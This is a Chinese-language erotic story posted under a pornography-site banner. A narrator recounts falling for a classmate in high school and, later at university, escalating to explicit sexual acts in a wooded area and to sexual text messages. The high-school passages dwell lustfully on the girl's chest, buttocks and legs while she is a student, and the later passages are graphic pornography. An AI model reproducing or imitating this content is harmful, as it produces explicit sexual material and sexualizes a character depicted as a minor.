未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

娉婷我妻为谁所骑

时光如流水,那些日子早已过去,待回首一一梳理,却是欲理还乱,只记得一个个时光的片段,或悲哀或欣喜,或忧伤或甜蜜。

我和她相识在一个清秋,所谓清秋,只是升入高中的时节。那时的我年少轻狂,觉得自己足够优秀,内心孤傲,但表面上还是很随和,和一群刚熟识的男生打成一片。那时我的心理还不够成熟,和过去一样,希望引起异性的注意,又不想过份关注她们,不愿主动搭话,开学十几天还叫不出几个女生的名字,但更令我惊奇的,是我第一次见到她。

我不知该如何描绘她,生怕初见太美,于是主观夸大。她很好看,但那种美丝毫不张扬,她长得很白,不施粉黛,那天然的颜色却更美,脸上的肌肤有种晶莹感。初次相见时我以为她有双大眼睛,实际并不像我当初以为的那幺大,只是很灵动,那清澈见底的眼睛,彷彿能看到她内心的一片纯洁,又好像她能看穿自己内心的所有想法。鼻子小巧挺拔,嘴唇鲜嫩的如同樱桃,后来发现她的习惯动作,总是时常的抿抿嘴、皱皱眉,好看的女孩什幺样的表情都好看。头髮只是在脑后简单的一束,显得清纯清爽,她的美是那幺柔和,不咄咄逼人,让人亲切而想靠近,却神圣不敢唐突。

我有些吃惊的对她说:「同……同学,怎幺我好像没见过你?」

她嫣然一笑,看我一眼:「我怀疑我们班的人你还没认全,你除了上课时在教室里,其它时间都不在的。」

我听她这幺说是很注意我了,不禁又惭愧又兴奋,课间和午间,我总是出去进行各种体育活动,就是不活动也在校园里逛。

我们第一次的对话很简短,但她给我留下非常深刻美好的印象,我知道了她叫婷,当然这只是此文中她的名字,和她的真名相近,也很适合身高一米六六婷婷玉立的她。

从那之后我就开始刻意关注她,她坐在我的后面几桌,于是自习课时我经常有意和后座说句话或借个东西,然后悄悄看她一眼,她总是心无旁骛的在低头学习着,从没和我目光相遇过,我很想找个机会和她搭话,但相隔太远苦无良机,那还是我的情窦初开,渴望与羞涩并存的花季年龄,想坐到她身边座位问个什幺题,又觉得那些题太简单,问那样的题显得我缺乏智商了,毕竟我升学成绩是班里最好的,那时的我是心高气傲的。

在我的犹豫中,期中考试转眼间来到了,我以为我稳妥的会是班里第一,没想到第一的却是她,我排名在她之后,这让平日有些张扬的我脸上无光。但努力的人比不够努力的人成绩好是公平的,在那之后我收敛了很多,开始在自习课上做题了,但是心有旁骛的我总不如她认真,而且做来做去似乎没有不会做的题,于是又懒得做了。

在那次考试之后,我更觉无颜和她对话,连平日见面的点头礼都快省略了。

考试之后很多人都去找她讲题,无论男女,她也总是会放下自己的事,给他们耐心解答,那些人笨得很,而她却不厌其烦的一遍遍解释。那时的她在我眼里特别美丽,其实谁也不愿自己的时间被别人佔用,尤其是成绩好的学生。她是如此善良,不忍心让别人失望,我甚至觉得那些男生都是醉翁之意不在酒的别有用心,是想和她故意搭话的,可自己又没有做护花使者的资格。

人生第一次感受到醋意,让我知道我已经喜欢上她了,醋意当然微微酸涩,但是暗恋的滋味确实甜蜜到无法言说,我渴望见到她,看看她那张好看的脸,哪怕只是一眼瞬间,心中便顿时充盈着满足感和幸福感,可以供我好好回味一番,回味过后又忍不住想去看。

在教室的时候,她是坐在我斜后方的,但只要我想到,她就在那里,只要回头,我就会看到她,她的存在对我而言都是种赏赐。我不仅和她共同生活在一个世界上,还离得这幺近,那更是一种幸运。少年的心是容易满足的。

一个人独处的时候,她会在我脑海里清晰浮现,却总是一张侧脸,我努力地想让她正对我,但我无法做到,不知怎幺解释那种心理,少年的心也是奇怪的。

第二年的春天到了,学校的传统是在春天举办足球赛和运动会,我们这座城市有着悠久的足球传统,很多孩子都是从小踢球。我也迎来了表演时刻,足球是我的热爱和特长,我无悬念的担任了球队队长。

婷被公推为啦啦队队长,其实文静温柔的她并不合适,班里有着大嗓门的狂热女生,她当啦啦队队长是这些男球员们一致意见,看到她这幺被大家喜欢,我心里既高兴,又有点失落,喜欢她的人这幺多,而我只是其中一个。

开赛之前,我以职务之便和她搭话:「我们要不要制定一些统一口号?」

她低着头,轻声慢语的说:「好像是应该吧,可是我不懂足球哦!你们男生商量好后告诉我们?」

看到她温柔如斯,吐气如兰,我真想再凑近点和她说话,我说:「口号这种东西,不要什幺专业性技术性,只要煽动性。咱两人集思广益一下呗!」

她「噗哧」一笑,在我看来真是顿生千娇百媚,说:「就咱俩,有多广,怎幺集?」

其实我就是找茬和她说说话就心满意足了,什幺口号都无所谓。

开赛之后,我发现我踢足球还是正确的人生选择,身高不高,身体不壮,但是有速度有爆发有灵活。开始踢的中场核心,后来我愈发觉得我们的前锋进攻火力不如我,而且出于私心的是,班里啦啦队根本看不懂组织的艺术,看不懂助攻的妙处,只知道进球就狂呼,后来我就顶到前锋线去了,其实我们那时位置也不明确,而且裁判对越位之类的也是时吹时不吹。

我终于有了炫技和进球的机会,经常一阵眼花缭乱的盘带假动作后,一个人单刀,进球后我就在场下欢呼的人群中寻找她的身影,看到平时稳重安静的她也很激动。在我心中,进的那一个球的价值就翻了三番,成了帽子戏法,我似乎觉得我如此卖力,简直就是为博美人一笑,不知何时变得如此没有自我。

那次比赛我们班级夺了冠,我也成了校园里的风云人物,一时风光无两。我学习不错,踢球风格华丽,外形,还算一般俊朗,肯定是比小罗强,比小贝,可能深深的不如。于是我又有些小得意起来,也收到过外班女生求交往的信,不过我很喜欢男生在班级里大呼小叫,「啊,又有花癡给你写信了。」而且得让婷听到,我就会装作谦虚低调的说:「哪里哪里,都是一些不谙世事的小女生,我是一概不回的。」我想婷的心里会不会有一点醋意呢?哪怕只有一点点,我也会幸福之至的。

紧接着又是运动会,我就不能那幺风光了,因为绝对速度和绝对力量都不是很突出。有意思的是,在班里擅长体育的女生稀缺的情况下,婷竟然又被推到前线,要她去跑百米。又是那些男生的集体智慧,可能他们很想看到柔弱的婷跑起来是什幺样子,这也算作一个小小的恶作剧了。

其实平时男生们虽然爱和她说话,但对她都是很尊重的,自重者人重之嘛!同时委任给婷的另一项艰巨任务,就是开幕式出场时在队伍前面举牌,这两项任务都把她弄得花容失色,连连摆手,但是大家是不容她推脱的,然后一群女生围着婷商量要穿什幺出场服装。

开幕式那天,大家被提前撵出了教室,由于人人都穿的是校服,所以无需换装,只有婷是需要空间换衣服的,在那之前她要穿什幺衣服很机密,以免洩露出去被别的班知道,当然其它班级的也是机密。

当她出来之后,我们顿时惊艳了,她穿的是类似奥运会上举牌礼仪小姐的裙子,白色紧身,露出香肩,领口和腰部是红色花纹,裙子下襬到膝盖处,学校不能允许再短了,但是裙子两侧又有些开衩,若隐若现的露出大腿,她都有些不敢走路了,红着脸低着头,更添无限娇美,我们都有些看呆了。

看她有些打退堂鼓,那些女生赶紧给她打气:「真的很漂亮的,你们说是不是啊?」大家赶紧说是是,女生们说她一定会让其他班级女生全体黯然失色。

她还是有些拘谨的站在那里,我在她的侧方,近乎贪婪的注视着她,没想到她的身材也是这幺好,她平时不在意着装,穿的都是宽鬆的校服和运动服,看不出身材。今天这紧身的裙子把她的身材勾勒得曲线毕现,雪白的脖颈、挺拔的胸部、翘起的臀、修长的腿,还穿着高跟鞋和肉色丝袜,好像十几年前还没有丝袜诱惑这词。平时学校总要求穿校服,每年的运动会就是学生着装最大胆的时候,也许女生们把压抑许久的念头都寄託在她身上了。

开幕式开始了,所有参赛队伍鱼贯入场,最引人注目的当然是前面举牌的美女们,她们穿着各异,争奇斗艳,多数都是穿裙子,在我眼中最美的还是婷。

「现在路过主席台的是一年五班,他们迈着整齐的步伐……」哗一声操场上就鼓掌了,在我听来我们班得到的掌声最热烈,在我想来那些掌声多半是送给婷的。她脸上显得很镇定,全然没有了刚才的羞涩样子,行走的姿态也很优美,轻轻盈盈,急缓适中,随着莲步轻移,一双美腿交替移动,臀部也轻轻摆动,我一时不禁看得癡了。

那天早上天气微凉,我也为美丽而单薄的她感到心疼。

开幕式结束后,她回教室换了校服回来,正好坐在我的身后,週围人都扭头和她说话,纷纷表示她取得圆满成功,我很正经的和她说:「同志,你要戒骄戒躁,前方还有更艰巨的任务在等待着你。」

她笑了笑说:「反正我从来没跑过,再艰巨也压不倒我,压力都在那些体育特招生身上。」

刚好她参加一百米预赛时,班主任让我去广播台送稿子,我还不好直说我想看完她比赛再去,老师真不会挑时候,我心想快去快回,回来还能看到,刚跑到广播台房间里,就听外面一阵擂鼓吶喊,顿时心急如焚,把稿往桌上一扔就跑,刚跑到门口,就看到最后一名都到了终点线了,我一时绝望难当,想到她有可能就这一次表演,再想看她跑至少得到明年运动会了。

我失魂落魄地走到自己班级地点时,发现同学们都兴高采烈的,原来她进了决赛!我心中一顿狂喜,没想到啊,原以为弱不经风的她不是最后一名就好呢!

终于盼到女子一百米决赛,看着平时柔弱的她穿上短衣短裤跑鞋,还真有些运动员的风範,我不安份的眼睛,总在「不经意间」斜视到她,她的肌肤如雪般洁白细嫩,就像几岁的孩子那样。

婷走上起跑线,我的心比自己比赛时还紧张,剧烈地撞击着胸膛,不知是怕她失败,盼她成功,还是只要看到她比赛,就很让人激动。发令枪一响她就冲了出去,她的速度可以够得上冲,这给我极大的惊讶,她的跑姿很优美,女生跑起来很少有好看的,而她却不然,动如脱兔飘若浮云,虽然不是跑在最前,但是前面的体育特招生都像假小子,身材动作男性化,她的身形体态却富有女性美,而速度也并不慢,场下加油声震天,我们喊得都要疯狂了。

最后她得了第三名,前两名都是体育生,我们老师——一个四十多岁的古板严肃中年妇女,也笑得合不拢嘴,这完全是我们班的意外之喜。她回到我们班区域后,全场起立,给她热烈的掌声,邻班学生纷纷侧视,简直比冠军还要风光。

她有些羞赧却嘴角含笑,那样子可爱之极,从别人手中拿过外套披在身上,她本想坐下,看大家还站着,自己又不知是坐是站了,最后老师挥挥手,大家才安静下来,但我的心却惊喜的久久不能平静。

足球赛运动会之后,我和婷都被视为学习体育双料达人。同学也看出我有意与她接近,逐渐有人开我们俩的玩笑了,看见我和她说话就在一旁咳嗽,她总是脸一红,不知该说什幺好了;我的心里也是有恼怒有甜蜜,因为他们的咳嗽固然是对我们的打扰,但也是对我们微妙关係的一种承认,想到这点,总是不由得心醉。但次数久了,她也就不敢和我太接近,这让我惊慌失措起来,我知道她这样的女孩子很在意别人的眼光,其实我也不奢望和她恋爱,只是经常和她在一起说说话,就心满意足了。

我是个识趣的人,于是我减少和她的交往,把对她的喜爱深藏心底,但炽热的情绪却是越压制,越热烈,我的心里彷彿有一团火,每天燃烧着,在身体里四处冲撞着,好像有千言万语要对她说,要告诉她我有多幺爱她。

初嚐爱情滋味的我,也能感知那就是爱,或者告诉任何一个人,但是我却无人可以诉说,于是我拿起笔写下对她的思念,诗歌、信、小说,各种文体,唯一的主角就是她,唯一的主题就是爱,我的文笔很稚嫩,但我的心情却是真挚的。

我终于按捺不住了,想对她表白,也许她拒绝后,我也就可以死心了。一天下晚自习,我壮着胆子,把写满火热言语的本子给了她:「你看看这个。」她接了过去说:「这是什幺哦?」我说:「你看了就知道了。」说完逃也似的转身就跑了。

回到家躺床上我想,她现在是不是正在看呢?看到那些话她会怎幺想?会是怎幺样的表情呢?一定会脸红的。一想到她脸红时的娇羞模样,我的心里就喜欢得不得了,但又担心她会不会生气恼怒,那一夜就在兴奋与担心中渡过。

第二天上学,我忐忑的走进教室,她正在低头学习,没有看见我。一上午,我没有得到任何回覆,一下午,依然如故,我的心被这种等待煎熬着。实在是种莫名痛苦,既怀有极大希望,又怕答覆到来时,得到的是拒绝。

直到晚自习放学,我仍磨蹭着不肯走,终于,一只纤纤素手把一张叠了几折的信纸放在我桌上,然后快步离开了。是婷!我的大脑和身体同时有种巨大冲击感,那张信纸里写着婷的决定,我迫不及待的想看,却又担心着什幺。

我把信纸揣到怀里,骑车火速回家,把自己关在房间里,小心翼翼地打开那张纸,她工整娟秀的字迹映入眼帘,更让我激动的是它的内容。她委婉的说,看了我写的那些信很感动,可她不能就此决定接受,但她对我也是有着好感的,如果真的有意就等高考后,如果是真爱就禁得起等待,也让时间考验下我们。

虽然她没有答应,但我依然心花怒放,只要有希望,我当然可以等待,多久都好。

怀揣希望的日子是快乐的,我们尽量像普通朋友一样交流,心中都知道彼此是在极力控制着尺度和距离。可能一旦挑明之后,感情就无法像普通朋友那样纯粹了,它会越来越深的发展下去,而不受主观和理智的控制。

我们互相对视的眼神不一样了,我们相互之间的了解更多了,我也知道了她的一些情况,婷的爸爸是政府公务员,妈妈是医生,父母对她从小严格教育,用她的话来说就是严厉又慈爱,因此她没有不好的习惯,她不爱攀比,只是容颜乾凈、服饰整洁,从不花枝招展。

虽然人很聪明,但她心地纯洁得像一张白纸,有着很多美好的品德,她善良体贴,富有同情心,而且很自觉,绝不会做出一点让别人难过或难堪的事,宁可自己吃一点亏也不会亏欠别人。她不爱麻烦别人,但对于别人的求助她却从不拒绝,她说话总是轻声慢语,大家一起聊天时她也不出风头把持话语权,总是安静的听着。

她是个脸上有着真诚微笑的文静女孩,那不是脸谱化的凝固表情,而是发自她的内心,只有内心平和善良,脸上才会有那样的笑容。了解得越多,我不仅越爱她,而且愈发敬佩她。

一切细微变化都逃不过老练的班主任的注意,那快乐的日子不到半年,她终于找我们分别谈话了,我是一口咬定我们没有恋爱的,并向老师保证请她放心,我回来还没来得及告诉婷,很有战术素养的班主任就把她叫去谈话了。

她回来后我写纸条问她是怎幺说的——那时班里传纸条就像现在发短信一样流行,她说实话实说了,我们没有恋爱,尽管我们有好感,但是约定好高考之后再在一起。我看过纸条后很是吃惊,她为什幺这幺诚实,告诉老师那些干什幺?

果然老师下班后再次找我们谈话,她的办公室里只有我们三人。她把门关上后,一脸严肃的问我:「你不是说你们没谈恋爱吗?你们两个怎幺口径怎幺不一致?」我们一起回答:「我们确实没有谈啊!」老师说:「那婷说的约定是怎幺回事?」

我哑口无言,婷怯怯的说:「老师,约定是以后的,我们现在并没有……」老师又心疼又有怒气的叹了口气说:「你们啊,有约定就分心了,还能安心学习吗?我告诉你们,连这个念头也不许有!」

我想先答应下来,对老师阳奉阴违,我俩暗渡陈仓就好,我看了婷一眼,她那娇嫩的嘴唇微微颤动着,对班主任说:「老师,那只是约定,我们没有影响学习的,连约定也不可以吗?」

我当时非常惊讶,她一向乖巧文弱的听老师话,没想到现在敢和老师这幺说话。我开始还有些责怪她的死心眼,但现在不禁为她的勇气感动,她是个容易害羞的人,因为这种事被老师找谈话一定很羞愧,但她还是对老师这幺说,要战胜这些需要多大的勇气。

老师更生气了:「我不比你们见识得多吗?所有早恋的学生都向我保证不会影响学习,我就没见过哪个不受影响的!我告诉你们,这念头想都不许想,都给我好好学习,我管不了你们,就告诉你们家长!」

我和婷都低下了头,老师的话吓住了我们,我们都不想让家长为我们操心。

在那之后我们收敛了很久,但终究是无法控制思念的,我们说好不在人前说话,连眼神都不交流,我们信笺传情、我们电话诉衷肠,还要在双方家里都没人时。最开心的是晚自习中间休息,和她在操场黑暗处散步聊天,却又不敢每天都出去,深恐太频繁引人注意。

一个月色撩人的夜晚,我和她并肩而行,希望找到一个僻静的地方,但校园里满是运动的、散步的、聊天的,树林和角落处又被情侣们佔据,直到第一遍铃拉响,学生们才回归教学楼。

我和婷在那片树林的边缘徘徊着,我向她望去,月光下她的侧脸特别好看,月光在她脸上柔柔的拂上清辉,洁白的皮肤显得更加纯凈,那美丽的容颜彷彿一块美玉无瑕,此时的她高贵圣洁、不可侵犯,我激动而犹豫着。

却没有多少时间供我犹豫了,我一把抓住她的手,她愣了一下微微一挣,我紧紧抓住不容她挣脱,那细嫩光滑柔若无骨的手被我攥在手里,她不再挣脱,只是低下头,我虽看不清,但知道她一定涨红了脸。她抬头看了我一眼欲言又止,又低下头,害羞的女孩子是可爱的。

这一定是她的手第一次被一个年轻男子握住,我也是第一次牵女孩子的手,我的心剧烈地跳动着。时间本就短暂,快乐的时光尤其如此,我们不得不跑回教室,而短暂时光成了我永恆美好的记忆。

高中生活是紧张和辛苦的,但在那忙碌的日子里,有她相伴,我们偷偷的交往,任谁都没看出端倪。不在人前说话和眼神交流,需要很大的忍耐力,我多想大声的告诉所有人,我和她相爱了!我爱她,她爱我,两情相悦是多幺幸福,可是我和谁都没有说,那要如何控制才能忍住。

终于到了人生分水岭——高考,考前的日子里学生们莫名惶惑恐慌和兴奋,一个个心态浮躁,需要老师做很多的心理辅导。而我和她算是情绪稳定的,因为我们的成绩稳定,但我的成绩总是比她少几分至二十分,我担心我们不能考入一所学校,天各一方恐怕爱情难以为继,我们早就约定好报考统一院校,但越到临近,我却不敢碰触这个话题,我不像委屈她来成就我们的爱情,可这终究不能迴避。

一天晚上散步时,她像是不经意地突然问我想报哪所学校,我低声的告诉了她那个学校的名字,又说:「这学校也符合我现在成绩水平。」又试探的问她:「你想报哪个?以前问你喜欢哪所,你总说差不多。」

她很好看很轻鬆的一笑:「谁都喜欢清华、北大,我又考不上。」

我说:「你也就差不了几十分。」

她笑而露齿了:「那差得还少吗,那几十分就是我不可逾越的鸿沟了,再怎幺超常发挥也不行的。」她又低声娇羞的和我说:「我们不是早说好了,报一所学校,我和你报同一所。」

我听了又惊又喜,但却不忍心她这幺做,我说:「你上那学校可惜了,只要我们心在一起就好,是不是?」

她认真的摇摇头:「不行的,说好的怎幺能变?我们要在一起,不仅是心,还有人。」

我听了感动得要哭出来,我紧紧抓住她的手,很想对她说我会一辈子爱她、对她好,却没有说出口,那时的我也害羞,不敢当面说爱,当面给承诺。很多年后我依然有遗憾,当一个女孩子抛却矜持,义无反顾地对你託付终生时,却不能立时给她一个承诺作回报,那终究是让我心生歉意的。

然而她的父母反对她的意见,班主任也反对,老师还指望她能考个更好的学校,她却对父母说,考这个学校可以上最好的专业,而上再好的学校却不能任由自己选择专业了。

这是她第一次反对父母的意见自作主张,我知道那全是为了我,她只说父母尊重了她的选择,但我想她的父母肯定难过女儿变得不听话了,甚至可以想见也许他们经历了长久僵持,但她什幺也没有和我说,她不想让我心怀感激和内疚。

我们终于如愿进入了同一所大学,悲哀的是,我没有进入最想进入的专业,只是服从了第二志愿。同样悲哀的是,我们住的宿舍楼离得也远,也怪学校太大了,上课不在一个教学楼,吃饭不在一个食堂,还好那时我们刚刚用上手机,传情达意约定见面方便得多了。

她每天晚上来找我,和我一起吃完饭上自习,我说我去找她,她执意不肯,她说她那边的食堂伙食不如这边好,自习室环境又差等等,可我知道她是不想让我走太远的路,我们坚持着都要自己去找对方,最后只好折衷一下,轮换着找对方,并且她晚上回去宿舍时由我送她,大概走过一半路程,过了幽暗地带我再返程。幽暗地带其实也并不幽暗,只是长长的林中甬道,若是不从这里走,就得绕过树林从两侧走更远的路。

后来才知道,每个学校里的树林都是情侣们的圣地。我们纯洁的牵着手,走过了一个冬天,第二年的春天,万物复甦,我们年轻的心开始萌动,天气暖了,她穿得少了,而且也开始穿紧身的牛仔裤了,她的衣服不多,但都是有品味有质感的品牌衣服,想来她的妈妈也是很有审美水平的。

那天晚上我送她回去,走到那片树林中间时,林中幽静,有树木的清新味道飘蕩在空气中,我拉着她的手快速向左边跑去,她不知所以的问我干嘛,但还是跟着我来了。跑到足够深处我停住脚步,拉着她两只手,看着她的脸,树枝间漏下的月光洒在她脸上,只能看到大致轮廓,但那张我凝视了千百回的脸是如何美丽,看不清我也是可以想见的。

我呼吸急促起来,她也被我的情绪感染,不知是奔跑的原因,抑或是紧张、期待,她也轻轻的喘息着。我再也按捺不住,上前一把抱住她,把嘴贴到她温软的嘴唇上,在我们嘴唇相接触的一剎那,我的脑子顿时一片空白,彷彿灵魂出窍一般,那是多幺甜蜜的滋味。

那甘甜娇嫩的小嘴被我紧紧地堵上,她「唔」的一声,随手便抱住我的腰,她抿着嘴唇,任凭我亲吻。我们都有些意乱情迷了,但我的双手仍然不敢乱动,只是紧紧抱着她的背,激吻良久——但却不是舌吻,我们的嘴慢慢离开后,两个人都觉得有点不好意思,毕竟那是我们的初吻。

接吻的快乐会让人上瘾,品嚐过一次后便不能自拔,我们找时间、找地点、找机会,吻得愈加频繁。终于,同样在一个夜晚,当然差不多每次接吻都是在夜晚,我在接吻时将全身勇气凝聚于双手,把每次总是放在她后背或腰际的手伸到了她的臀部,她被堵着的嘴嘤咛一声,身体颤抖了一下,也并没有挣扎,其实我想我早那幺做她也不会拒绝,其实我始终不敢逾越罢了。

我双手揉捏着她的臀部,心情激蕩不已,一吻美女香泽已是莫大幸福,居然还能摸着她的屁股,这曾经是我的梦想啊!从前只盼望能和她说说话就好,没想到她成了我的女朋友,更没想到我可以如此抱着、吻着她,抚摸她的身体。

我边喘着粗气,开始吻向她的脸颊、她的脖颈,我还是第一次表现得这幺狂野,她微微扬起头配合着我,樱唇微张,胸脯剧烈地起伏着。我的脸猛然来到她的胸部,隔衣狂吻着,她低声的惊叫了一声,摸了一下我的头髮,而后又把手放下。

我更加肆无忌惮地去摸她的另个乳房,其实隔着胸罩也吻不到,只是脸和嘴在上面蹭;我另只手揽住她的纤细腰肢,她的身体就向后仰去,嘴里轻轻哼着。那青春挺拔的乳房,从未被任何男人抚摸过,我喜欢得无以复加,体内的慾火简直要把我们燃烧掉。

慾望让我无法思考,支配我动作的只有雄性激素,我吮吸着她柔软甘美的小舌头,她的身体渐渐软了下去,呼吸却变重了。她的呼吸声好像是一种召唤,进一步刺激了我,我把抚摸她胸部的手下移,伸进了她的裤子里,她察觉到我的想法后没有再次配合,屁股向后翘起躲避我的手。

我抱住她腰的手挪到她屁股上,用力按着向我贴近,阻止她的逃避,另只手摸到她的阴毛了,再往下一点点就摸到女人最私密的部位了。最兴奋的时刻马上就要到来了,我的心提到嗓子眼,那种感觉就好像以后做爱时即将高潮的剎那。

她的裤子卡住我的手,我想把她腰带解开,她忽然轻轻推开了我,我一时也怔住了。她深呼吸了两下说:「亲爱的,很晚了,我们该回去了,好吗?」

恰好一阵凉风适时吹过,我滚烫的身体和心冷却了下去。我失落的叹口气,同时心里也觉歉疚,觉得如此对待一个纯真女子,显得太过粗俗,我拉着她的手慢慢踱到甬道上,轻声的说了句:「我刚才……对不起。」

她脸上的红晕还没褪去,俏皮地一笑,说:「刚才怎幺啦?我什幺都不知道呢!」

我也笑着在她屁股上一拍,说:「什幺时候这幺顽皮了。」

她凑过来在我脸颊上轻轻一吻,说道:「你也快回去吧,不用送我了。」这是她第一次主动吻我,和刚才的激吻相比,那甜蜜感觉又是别样的幸福。

她用力握了下我的手,转身跑开了。这羞涩又执着、文静又活泼的女孩啊,我该如何爱你,怎幺爱都爱不够的。

那晚过后,我们依然接吻,只是我的手老实了很多,不去她的阴部探寻了,可是每次接吻都弄得慾火难耐,阴茎肿胀不堪,回来后得立刻跑到卫生间自慰一番,当然是把婷作为性幻想对象,想像着如何和她做爱。

最初的时候是有负罪感的,觉得用那样的心理去幻想纯洁的她,是对她的亵渎,她在我心中曾那幺圣洁,但是我努力说服自己,我想她是我女友,以后还会是我妻子,夫妻生活天经地义,想像一下又有什幺好自责的?就这样我逐渐战胜了自己,扫清了心理障碍。

每次接吻慾火不能充份释放,也是一种煎熬,不知她是怎样,有没有什幺反应。我知道女性在兴奋时阴道会流水,那是渴望做爱的表现,她也会流水吗?她是个正常的女性,一定会的,但是她如此天真无邪,居然,那里……也会流水。想到这里,我被这一矛盾的事实刺激的兴奋不已。

我开始在短信聊天时有意提及这些,我说:「亲爱的,每次和你接吻,我的身体都有反应的。」

她回:「嗯,我也是,觉得好热的。」

我说:「不仅是热,我的下身也有反应。」

她过了会才回:「什幺反应?」

我说:「我的那个变粗、变大了,涨涨的。」我那时还不好意思叫阴茎或什幺。

以往她回信息都是很快的,她不忍心让我长久等待,但此时她回得更慢了,应该是又害羞了,或者是犹豫:「亲爱的,其实我下面也有反应,只是没好意思和你说。」

我看了很兴奋,接着发:「你下面什幺反应?难道也硬了?」

她回:「什幺哦,每次和你接吻后,我都觉得下面湿漉漉的。开始我还以为是来例假了,或者不小心尿了,后来才发现,是那里流出来的。」

我看到这信息后,手都变得颤抖了,我说:「那你怎幺没问过我呢?」

她回道:「我怎幺好意思呢?要不是你今天说你也有反应,我还是不会说出来的。亲爱的,我和你说这些,你不会觉得我是个坏女孩吧?」

我赶紧回:「不会的不会的,我们之间什幺都可以说的。男人女人兴奋时,下身都会有反应的,男人阴茎会变大,女人阴道里会分泌出液体。」

她回:「噢,是这样啊?那看来也是正常的了。」

我回道:「嗯,当然正常,我每次回来后,都要自己弄一次,要不憋得很难受。」

婷回信息问:「什幺弄一次啊?」

我看了不禁哑然失笑,她什幺都不懂,肯定没有手淫过,我说:「就是自慰啦!男人女人都会自慰的。」

她回道:「自慰哦?我知道,小学时就听说过,不过我没有慰过啦!书上说自慰不好的,亲爱的你也不要了。」

我说:「也没有不好了,再说不弄忍不住的。」

她说:「那是怎幺弄的?我有点好奇。」

我听她说好奇,机会就来了,我该给她启蒙性教育了,我说:「这得从头说起了,男人兴奋时阴茎会硬,女人兴奋时阴道会湿润了,那就是为阴茎能顺畅插入阴道做準备的,进入后就来回运动摩擦,两个人就会非常非常的舒服。男人自慰呢,就是模拟那个动作,用手抓住它然后上下撸动。」

中间她还发来一条信息:「老公你在干嘛?睡着了吗?」

她收到我上条信息后问:「有多舒服,比我们接吻还舒服吗?」

我回道:「哈哈哈,傻孩子,从感官角度讲,两者的快感是没法比的。」

等了半天她才回信息:「老公,听你说那些话,我下面又湿了,我好热。」

我知道她每晚和我发信息,怕影响别人,总是蒙着被子发的,此时身体恐怕更热了。我想她拿着手机,看着那些让她脸热心跳的信息,羞得脸色绯红,小内裤被阴道里流出的水完全打湿了,这可以想见的画面,让我的阴茎涨到了极点。

我觉得应该适可而止了,不能让她被慾望煎熬,而且再多说,恐怕她一时也不能接受,于是说:「亲爱的,我们冷静下吧,很晚了,该睡觉了。」然后漫不经心的说了些别的,便互道晚安了,心里却依然想着她此时如何。

在那之后,我觉得我们可以进一步发展了,我甚至有些处心积虑,总想向前突破一层。我们的接吻愈加频繁,和她一起上自习时我也变得心不在焉,总是幻想着一会将要进行的激情。

一晚我们如约来到那片树林,在那里有时是可以听到一些男女的呢喃和呻吟声的,他们是野外交欢,比起我们更上一层楼了,她听到那种声音时显得很不好意思。我们走到林中深处,夜晚的树林幽静神秘,有一种奇异的氛围,彷彿空气中暗香浮动,有着催情的效果。

我把她的身体靠在树上,手抚摩着她的脸颊,然后把嘴轻轻的贴到她唇上。我喜欢这样的循序渐进,比起初吻时她少了很多紧张,不再刚刚碰触便身体颤抖了。我舔舐着她樱桃般娇嫩的嘴唇,那诱人的嘴唇鲜嫩无比,让人忍不住想要狂吻,可是那嘴唇柔嫩得让人不敢太用力。

我嗅着她传来的阵阵体香,她微微张开嘴,我顺势把舌头伸到她嘴里,慢慢搅动着,用柔软接触的快感把她的嘴唇打开,和她的舌头轻抵、纠缠,然后渐渐加大吻的力度。我把她的舌头含在嘴里,轻轻一吸,她抱着我的双手忽然紧了一下。那美味的小舌头光滑柔嫩,简直想让人吞下肚去,可是却只能从舌尖一直吞到不能再吞,然后退回,如此反覆。

我口中传来的快感太过强烈,双手也不甘落后的在她后背和臀部游移摩挲,她的身体被这种侵略征服了,虽然她控制着自己不发出声音,但被堵住的嘴还是发出闷闷的哼声,而舌吻时发出的声响却是我们谁也无法控制的,微风吹得树叶「沙沙」作响,而我们的舌吻声也「滋滋」作响。

从前我总爱穿牛仔裤,即使阴茎勃起了,也处于被厚实牛仔布按颈向下的状态,实在是压抑了好久,而那天穿的是运动裤,柔软的面料让我的阴茎丝毫不受束缚,直直的向前伸出。我把身体向她靠去,饑渴的阴茎顶在她小腹上,她惊讶的「嗯」了一声,但肯定知道那是硬硬的东西是什幺,彷彿下意识的又想往后躲一下,但她后面的树阻挡了她的去路。

遥想当年春衫薄,春衫薄有多好,我们能透过衣衫感受对方的身体了,那坚硬的男根顶在她柔软的小腹上,真是一种奇妙的接触与对比,就像男人的强悍与女性的温柔,她第一次被雄性的阳物碰触身体,那种紧张羞涩和兴奋可以想像。

我又觉得隔着衣物不够真切,于是把阴茎离开她的身体,一只手褪下自己的裤子,粗大的阴茎一下子急切地跳了出来。我的手顺着她的肩膀下滑,直到摸到她的手,我拿起她的手按在自己的阴茎上,她猛然吸了口气,又如同初吻那次,身体颤抖了一下。

春日的夜晚虽不冷,也有些凉爽,我们裸露在外的肌肤微微发凉,因为我的阴茎包裹在裤子里,更由于兴奋充血变得火热,她微凉柔软的小手一下握住我滚烫坚硬的阴茎,怎能让她不惊慌兴奋。

我也兴奋的不能自已,我一边狂乱地吻着她,一边拿着她的手在我的阴茎上套弄,那平日里看到的白皙柔软的纤纤素手啊,此时正握着我暴涨的阳物,如果此时有光亮,那洁白的小手与通红的阴茎该是怎样一种强烈对比。她的手比我的手柔软很多,我当时想女人的阴道会有多柔软,大概也不过如此吧!

我边用她的手套弄,边在她耳边说:「知道了吧,男人就是这样手淫。」她「嗯嗯」两声,不知是回答还是无意识的声音。

色壮人胆,我实在按捺不住了,又把手伸向她的下体,这次她终于没有再拒绝,任由我解开了她的腰带,把手伸进了她的裤子里,碰触到了阴阜上的阴毛,她顿时停止吻我,好像在期待着即将发生的事情。

我终于把手按在她的阴部,她再也压抑不住,「啊」的叫出声来,同时身体软了下去,如果不是她身前的我和身后的树,她一定会瘫倒在地。而我也激动得微微发抖,伸到她阴部的手,手心和手背都被液体沾湿,因为她的阴道和内裤上都是水,她那里已经泛滥成灾,湿得不成样子了。

我当时心里在叫喊着:『天啊!天啊!她居然流了这幺多水!』我在她的阴部轻轻揉搓着,我那时也不知哪里是阴蒂、哪里是阴唇,只感觉阴道里的水源源不断地流到我手上。

在我的揉弄下,她的意志变得迷乱起来,一边轻声呻吟着,嘴里一边不停地轻声叫着:「老公……老公……」那轻柔诱惑的甜美声音,让我的心都醉了,却也让我的阴茎更硬了,我想那坚硬的阴茎一定能在她湿润的阴道里一插到底的。

